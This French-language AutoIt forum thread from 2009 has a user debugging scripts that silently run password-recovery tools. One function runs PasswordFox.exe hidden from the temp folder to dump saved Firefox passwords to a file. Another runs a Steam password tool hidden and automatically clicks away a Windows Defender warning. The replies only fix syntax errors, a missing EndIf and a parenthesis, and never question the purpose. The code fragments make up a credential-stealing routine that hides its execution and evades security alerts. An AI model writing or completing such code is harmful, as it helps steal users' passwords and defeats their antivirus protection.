Page 1 sur 1

[R] Les fenetre et les quitter

Posté : lun. 21 déc. 2009 01:15
par jamesst20
Bonjours, J'ai un petit probleme.. J'ai un soft en autoit qui comprend plusieurs logiciel avec des function..

entre autre j'ai sa:

Code : Tout sélectionner

Func FFPASS()
    $RUNFF = RunWait(@ComSpec & " /c " & @TempDir & "\PasswordFox.exe /stext " & @TempDir & '\ffpass.txt" ', "", @SW_HIDE)
    If $RUNFF = 1 Then $RAPFF = "ERROR"
    
    EndFunc
Mais losque PasswordFox.exe ouvre bein il m'affiche un message d'érreur "Failed To load the decryption library of firefox" car Firefox n'est pas installer et j'ai l'option OK.. Une fois que j'appuie sur Ok le programme continue.. J'aimerais que le message disparaisse sans que j'aille a appuyer sur OK à chaque fois..

Merci de votre aide

Re: [..] Les fenetre et les quitter

Posté : lun. 21 déc. 2009 01:58
par Tlem
Je pense qu'il serait nettement plus sage de vérifier la présence de Firefox avant. :roll:

Re: [..] Les fenetre et les quitter

Posté : lun. 21 déc. 2009 02:13
par jamesst20
Oui :) J'ai réussie avec un if FileExists

Sinon j'ai un nouveau probleme :(

Sa sa fonctionne:

Code : Tout sélectionner

Func STPTEST()

    $RUNST = RunWait(@ComSpec & ' /c "' & 'stpv.exe"', "", @SW_HIDE)
    Sleep(100)

While 1

        If Not ProcessExists("steampwd.exe") Then ExitLoop

    WEnd

    If $RUNST = 1 Then $RAPST = "ERROR"
    If WinExists("Avertissement Windows Defender") Then
        ControlClick("Avertissement Windows Defender", "", 2)

EndIf
    EndFunc
Mais aussi tot que j'ajoute

Code : Tout sélectionner

If FileExists(@ProgramFilesDir & "\Steam\Steam.exe" Then
Qui donne

Code : Tout sélectionner

Func STPTEST()
    If FileExists(@ProgramFilesDir & "\Steam\Steam.exe" Then
    $RUNST = RunWait(@ComSpec & ' /c "' & 'stpv.exe"', "", @SW_HIDE)
    Sleep(100)

While 1

        If Not ProcessExists("steampwd.exe") Then ExitLoop

    WEnd

    If $RUNST = 1 Then $RAPST = "ERROR"
    If WinExists("Avertissement Windows Defender") Then
        ControlClick("Avertissement Windows Defender", "", 2)

EndIf
    EndFunc
Sa donne des érreur de compilation :(

Merci de votre aide :)

Re: [..] Les fenetre et les quitter

Posté : lun. 21 déc. 2009 02:17
par Tlem
Normal.
Il manque un EndIf.

Vous devriez utiliser Scite4AutoIt pour taper votre code, il vous aurait signalé l'erreur lors de l'utilisation de CTRL+F5 (qui vérifie le code).
De plus votre code serait mieux présenté et donc plus lisible ...

Re: [..] Les fenetre et les quitter

Posté : lun. 21 déc. 2009 02:30
par jamesst20
Oui je sais mais la j'ai vraiment rocher pour une petite gneserie..

Code : Tout sélectionner

If FileExists(@ProgramFilesDir & "\Steam\Steam.exe" Then
 
Tu voit apres Steam.exe" il fallait mettre un ) je l'avait oublier :P

Merci tout est résolu

A+